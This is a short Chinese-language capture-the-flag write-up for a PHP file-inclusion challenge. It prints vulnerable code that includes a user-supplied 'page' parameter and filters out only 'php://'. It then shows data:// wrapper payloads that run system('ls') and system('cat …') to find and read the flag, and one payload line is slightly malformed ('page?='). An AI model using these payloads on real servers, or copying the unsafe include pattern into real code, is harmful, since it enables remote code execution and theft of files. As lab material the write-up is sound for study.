1. <?php
    2. show_source(__FILE__);
    3. echo $_GET['hello'];
    4. $page=$_GET['page'];
    5. while (strstr($page, "php://")) {
    6. $page=str_replace("php://", "", $page);
    7. }
    8. include($page);
    9. ?>

    可以看到$page变量由用户控制,在经过过滤"php://"字符串后包含。
    虽然php://被过滤了,但还可以使用file://,不过也不知道明确的flag文件名,所以不能直接读取文件。
    除了这些直接读文件的,还有可以任意命令执行的伪协议data:
    payload:

    1. page?=data:text/plain,<?php system('ls') ?>

    读取到当前目录下的文件

    1. page?=data:text/plain,<?php system('cat flag文件名') ?>

    读取到flag内容,不过要查看源码才能看到。